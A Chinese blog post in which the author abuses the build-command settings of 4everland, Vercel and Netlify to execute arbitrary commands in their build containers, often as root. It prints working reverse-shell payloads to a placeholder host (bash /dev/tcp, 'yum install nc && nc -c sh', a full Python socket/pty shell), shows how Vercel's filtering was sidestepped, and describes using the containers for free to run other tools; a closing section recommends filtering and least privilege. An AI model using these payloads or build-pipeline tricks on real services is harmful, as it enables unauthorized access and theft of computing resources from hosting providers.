静态站点托管平台仅能托管静态资源?

zjun 2022-03-25 09:56:00

0x00 背景

4everlandvercelnetlify 都是是非常不错的静态资源托管云平台,vercel 我用了有近一年的时间,4everland 才接触两天,由于 4everland 网站的功能问题才有了以下内容,随后也对其他的同类型平台进行了一次测试。

0x01 由 4everland 功能问题引起的探索

4everland 基于 IPFS <sup id="fnref:1">1</sup> 和以太坊的底层技术,是一个集存储、计算、网络核心能力于一体的 Web 3.0 云计算平台。

由于一直想体验 IPFS,正好在 3 月 14 日上 twitter 时看了到 4everland 的推文,于是立即进行部署。就想先把我的博客迁移过来。由于博客使用的 SSG <sup id="fnref:2">2</sup> 是 hugo,在我部署的时候前端居然不让我设置构建命令,下拉选项框里面为空又不能输入,在我感觉很奇怪的同时在网上查了一下,发现其他人的截图中此处都有一个 Override 选项,选择后就可以自己定制构建命令。

202203151418610

于是当时就反馈给了工作人员,说明了我遇到的情况,以及我尝试利用抓包的方式设置 Build command,也确实可以设置成功,但是构建提示 hugo 命令不存在,当时我没有多想只当它是网站功能缺陷。一并反馈后回复我:将与技术核对,然后就没有再回复了。

202203151432185

既然不能在平台用 hugo 构建,其实也可以在本地生成 public 目录上传并设置其为网站根目录也就解决了我的持续部署问题,在网站的访问速度方面感觉还不错,毕竟是基于 IPFS 的分布式去中心化部署。

当天晚上又想起这件事:前端功能对用户关闭,但是能通过改包设置。突然就想到此处大概率会存在一些安全问题,通过执行任意命令而达到容器逃逸等,且网站可能正在整改中,不然没理由将前端屏蔽掉。第二天起床就验证我的猜想,抓了个包执行 whoami

202203151254574

不出意外成功执行,其 IP 是来自境外的阿里云服务器,其实命令执行还在意料之中,毕竟构建前端框架是需要执行一些系统命令的,只是没想到会给用户一个 root 权限。

202203151255212

202203151256480

本着好奇的心态看看服务器信息,可用命令很少又是 docker 容器

> ls /bin/
bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp dash date dd df dir dmesg dnsdomainname domainname echo egrep false fgrep findmnt grep gunzip gzexe gzip hostname ip kill ln login ls lsblk mkdir mknod mktemp more mount mountpoint mv nisdomainname pidof ping ping4 ping6 ps pwd rbash readlink rm rmdir run-parts sed sh sh.distrib sleep ss stty su sync tailf tar tempfile touch true umount uname uncompress vdir wdctl which ypdomainname zcat zcmp zdiff zegrep zfgrep zforce zgrep zless zmore znew

> cat /proc/version
Linux version 4.19.91-23.al7.x86_64 (mockbuild@koji.alibaba-inc.com) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)) #1 SMP Tue Mar 23 18:02:34 CST 2021

> cat /proc/1/cgroup | grep docker
12:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podea9e7227_7424_46fe_b280_d1bc4d9da2db.slice/cri-containerd-5c431a2c7efadc3727b585146e14ba0f6636c413e84ea09feaec8a9c5b205691.scope/docker/a48b0828068742c2cfdf522a249773e76fe9df1e34bbcc5510413ce6a550d8aa
...
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podea9e7227_7424_46fe_b280_d1bc4d9da2db.slice/cri-containerd-5c431a2c7efadc3727b585146e14ba0f6636c413e84ea09feaec8a9c5b205691.scope/docker/a48b0828068742c2cfdf522a249773e76fe9df1e34bbcc5510413ce6a550d8aa

执行反弹 shell sh -i >& /dev/tcp/x.x.x.x/8888 0>&1,报错:/bin/sh: 13: Syntax error: Bad fd number,猜想可能是 /bin/sh 链接到了 dash,而非 bash,于是查看 ls -l /bin/sh

lrwxrwxrwx 1 root root 4 Jan 24 2017 /bin/sh -> dash

如何绕过呢?尝试几种方式未果,更加验证了我的猜想:网站做了些防护措施。

> ls -l /bin/dash && ls -l /bin/bash
-rwxr-xr-x 1 root root 117208 Jan 24 2017 /bin/dash
-rwxr-xr-x 1 root root 1099016 May 15 2017 /bin/bash

> rm -f /bin/sh && ln -sf /bin/bash /bin/sh && ls -l /bin/sh && /bin/bash -i >& /dev/tcp/x.x.x.x/8888 0>&1
lrwxrwxrwx 1 root root 9 Mar 15 07:21 /bin/sh -> /bin/bash
/bin/sh: 13: Syntax error: Bad fd number

> rm -f /bin/sh && ln -sf /bin/bash /bin/sh && ls -l /bin/sh && sh -c bash -i >& /dev/tcp/x.x.x.x/8888 0>&1
lrwxrwxrwx 1 root root 9 Mar 15 07:37 /bin/sh -> /bin/bash
/bin/sh: 13: Syntax error: Bad fd number

想了很久依然没有拿到 shell。但是这里就算拿到 shell 意义也不大。可玩性太低,精简的系统容器逃逸并不太可能。

0x02 root 权限的 vercel 容器

vercel 是一个用于前端框架和静态站点的平台,类似于 Github Page,而且将 Github 授权给 vercel 后可以达到最优雅的发布体验,只需将代码推送到 Github 仓库,vercel 项目就能自动更新部署。那 vercel 的容器安全性如何呢?在 BULD COMMAND 一栏执行了 whoami && ls /bin

202203151326481

结果也是显示 root 权限,可用命令很多,可玩性就比 4everland 强太多了。

202203151325078

a2p abs2rel aclocal aclocal-1.13 addr2line amazon-linux-extras animate ar arch as aserver autoconf autoheader autom4te automake automake-1.13 autoreconf autoscan autoupdate awk base64 basename bash bashbug bashbug-64 bdftopcf bdftruncate bg bootctl build-classpath build-classpath-directory build-jar-repository bunzip2 busctl bzcat bzcmp bzdiff bzgrep bzip2 bzip2recover bzless bzmore c++ c2ph c89 c99 cairo-sphinx cal ca-legacy captoinfo cat catchsegv cc cd certutil c++filt chacl chage chcon check-binary-files chgrp chmem chmod chown chrt cksum clean-binary-files clear cmp cmsutil col colcrt colrm column comm command compile_et composite conjure convert coredumpctl cp cpio cpp create-jar-links crlutil csplit csslint-0.6 curl cut cwebp date db_archive db_checkpoint db_deadlock db_dump db_dump185 db_hotbackup db_load db_log_verify db_printlog db_recover db_replicate db_stat db_tuner db_upgrade dbus-cleanup-sockets dbus-daemon dbus-monitor dbus-send dbus-test-tool dbus-update-activation-environment dbus-uuidgen db_verify dconf dd df dgawk diff diff3 diff-jars dir dircolors dirname display dmesg du dwebp dwp echo egrep eject elfedit env eqn erb ex expand expr factor fallocate false fc fc-cache fc-cache-64 fc-cat fc-conflist fc-list fc-match fc-pattern fc-query fc-scan fc-validate fg fgrep fincore find find2perl find-jar findmnt fipscheck fipshmac flock fmt fold fonttosfnt free freetype-config fribidi funzip g++ gapplication gawk gcc gcc-ar gcc-nm gcc-ranlib gcov gcov-dump gcov-tool gdbm_dump gdbm_load gdbmtool gdbus gdbus-codegen gdk-pixbuf-query-loaders-64 gdk-pixbuf-thumbnailer gem gencat geqn getconf getent getfacl getopt getopts gif2webp gio gio-querymodules-64 git git-receive-pack git-shell git-upload-archive git-upload-pack glib-compile-resources glib-compile-schemas glib-genmarshal glib-gettextize glib-mkenums gmake gneqn gnroff gobject-query gpasswd gpg gpg2 gpg-agent gpgconf gpg-connect-agent gpg-error gpgparsemail gpgsplit gpgv gpgv2 gpg-zip gpic gprof gr2fonttest grep gresource groff grops grotty groups gsettings gsoelim gss-client gtar gtbl gtester-report gtk-launch gtk-query-immodules-3.0-64 gtk-update-icon-cache gtroff gunzip gzexe gzip h2ph head hexdump hostid hostnamectl i386 iceauth iconv id identify idn ifnames igawk import info infocmp infokey infotocap install ionice ipcmk ipcrm ipcs irb isosize jaotc jar jarsigner java javac javadoc javap jcmd jconsole jdb jdeprscan jdeps jhsdb jimage jinfo jjs jlink jmap jmod jobs join journalctl jps jrunscript jshell jstack jstatd jvmjar kernel-install keytool kill kmod krb5-config lastlog ld ld.bfd ldd ld.gold less lessecho lesskey lesspipe.sh libpng15-config libpng-config libtool libtoolize link linux32 linux64 ln locale localectl localedef log4j-cve-2021-44228-hotpatch logger login loginctl logname look ls lsblk lscpu lsipc lslocks lslogins lsmem lsns lua luac lz4 lz4c lz4cat m4 machinectl Magick-config MagickCore-config MagickWand-config make makedb mcookie md5sum mkdir mkfifo mkfontdir mkfontscale mknod mktemp modutil mogrify montage more mount mountpoint mv namei nasm ncurses6-config ncursesw6-config neqn nettle-hash nettle-lfib-stream newgrp nice nl nm nohup nproc nroff nsenter nss-policy-check numfmt objcopy objdump od oldfind openssl p11-kit pack200 pango-list pango-querymodules-64 pango-view paperconf paste pathchk pcre-config perl perl5.16.3 perlbug perldoc perlthanks pgawk pgrep pic piconv pinentry pinentry-curses pinky pk12util pkcs1-conv pkg-config pkill pl2pm pldd pmap pod2html pod2man pod2text pod2usage post-grohtml pr preconv pre-grohtml printenv printf prlimit prove ps psed pstruct ptx pwd pwdx pwmake pwscore pydoc python python2 python2.7 ranlib raw rdoc read readelf readlink realpath rebuild-jar-repository rename renice reset rev ri rm rmdir rmic rmid rmiregistry rpcgen rpm rpm2cpio rpmdb rpmkeys rpmquery rpmverify ruby runcon rvi rview s2p scp script scriptreplay sdiff sed seq serialver sessreg setarch setfacl setpriv setsid setterm setup-nsssysinit setup-nsssysinit.sh sexp-conv sftp sg sh sha1sum sha224sum sha256sum sha384sum sha512sum showrgb shred shuf signver sim_client size skill slabtop sleep slogin snice soelim sort sotruss splain split sprof sqlite3 ssh ssh-add ssh-agent ssh-copy-id ssh-keygen ssh-keyscan ssltap stat stdbuf strace strace-log-merge stream strings strip stty su sum sync systemctl systemd-analyze systemd-ask-password systemd-cat systemd-cgls systemd-cgtop systemd-coredumpctl systemd-delta systemd-detect-virt systemd-escape systemd-firstboot systemd-hwdb systemd-inhibit systemd-loginctl systemd-machine-id-setup systemd-notify systemd-nspawn systemd-path systemd-run systemd-stdio-bridge systemd-tmpfiles systemd-tty-ask-password-agent tabs tac tail tar taskset tbl tee test testrb tic timedatectl timeout tload toe top touch tput tr troff true truncate trust tset tsort tty tzselect ucs2any udevadm ul umask umount unalias uname uname26 unexpand uniq unlink unlz4 unpack200 unshare unzip unzipsfx update-ca-trust update-mime-database uptime urlgrabber users utmpdump uuclient uuidgen vdir vi view vmstat w wait Wand-config watch watchgnupg wc wdctl webpmux whereis which who whoami write x86_64 x86_64-redhat-linux-c++ x86_64-redhat-linux-g++ x86_64-redhat-linux-gcc x86_64-redhat-linux-gcc-7 xargs xgamma xhost xinput xmlcatalog xmllint xmlwf xmodmap xmvn-builddep xorg-x11-fonts-update-dirs xrandr xrdb xrefresh xset xsetmode xsetpointer xsetroot xsltproc xstdcmap yes yum zcat zcmp zdiff zegrep zfgrep zforce zgrep zipgrep zipinfo zless zmore znew

正如上 /bin/ 下存在的命令所见是一个 redhat 系 Linux 系统,我先是尝试了用 Bash 反弹 shell:sh -i >& /dev/tcp/x.x.x.x/8888 0>&1 ,失败了

202203151335945

由此看来 vercel 应该是禁止了常用的反弹 shell 指令,但是我可以换一种方式。还记得我先读了 /bin 下的命令,其中正好有 redhat 系的包管理命令也就是 yum,尝试先下载 nc 再用其反弹 shell

yum install -y nc && nc -c sh x.x.x.x 8888

202203151340741

或者也可以使用 python 反弹 bash

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

构建日志很顺利,自动下载完成 nc 后反弹了 shell 且网站并没有阻拦,成功获得了一枚 shell,内核版本是 4.14.262

202203151305359

通过多次的 shell 反弹,发现 IP 均是来自亚马逊云。这里相当于可以白嫖该容器资源,因为拥有最高权限,只是运行动态网站由于没弄清楚服务器与 vercel 之间的通讯原理,目前还没有实现,但是在其中运行一些代码还是绰绰有余。比如跑一个 FuYao

202203231749186

202203231750315

经查阅 vercel docs 发现还是存在一些限制,比如我们只能在构建的时间中执行命令,每次部署的构建时间最长为 45 分钟,45 分钟后反弹的 shell 强制断开并构建日志报 Error 错误,其展示在前端的 output 目录在构建完成后才会生成。不反弹 shell 的前提下我们需要跑的脚本最好在 45 分钟内完成并将结果重定向到 output 目录下的文件中,这样能通过 vercel 提供的域名直接访问到结果,或者是不重定向,在构建日志中查看实时的返回结果,但是它只展示最后的 2000 行日志。

202203231750697

0x03 低权限的 netlify 容器

netlify 相信用过的师傅不在少数,基于上面的测试经历,我发现 netlify 没有过滤任何命令,但是容器给用户的权限很低。我在 Build settings 下面的 Build command 处填入反弹 shell 的 payload

202203161500117

一样地成功构建

202203161502888

并反弹回一个低权限的 shell,是 Ubuntu 系统,该容器可用命令也很多, 其 IP 来自亚马逊云。

202203161503285

总的来说 netlify 的容器由于权限较低而且内核版本也是 5.4.149 没办法提权,其中也可以跑一些脚本,但是没有 root 权限无法安装工具。

0x04 思考

4everland、vercel 给免费用户的使用权限应该仅是前端框架的部署与静态网站的托管服务,由于构建命令接口未做过滤处理导致注册用户可以执行任意命令且权限都是 root。对于这种情况应该结合用户自己选择的框架而仅提供该框架构建的相关命令,且应该以最低权限原则构建容器。对于拥有 root 容器权限来说,我们不仅仅能构建静态网站,拿到 root shell 后在其中跑一些脚本还是不错的。

终究还是可利用度不高,没办法横向访问到其他的容器或者逃逸,而且给用户的构建时间也是有限的,毕竟万一遇到死循环的构建指令,不可能一直占用容器资源。



  1. 星际文件系统 (InterPlanetary File System):https://ipfs.io/ 

  2. 静态网站生成器,Static Site Generator,简称 SSG。 

评论

r0fus0d 2022-04-03 22:06:55

谷歌的colab和github的action也可以这样,只不过有封号风险 😂 另外功能点类似的还有 cloudflare 的 pages

zjun

https://blog.zjun.info

随机分类

无线安全 文章:27 篇
iOS安全 文章:36 篇
运维安全 文章:62 篇
逆向安全 文章:70 篇
memcache安全 文章:1 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录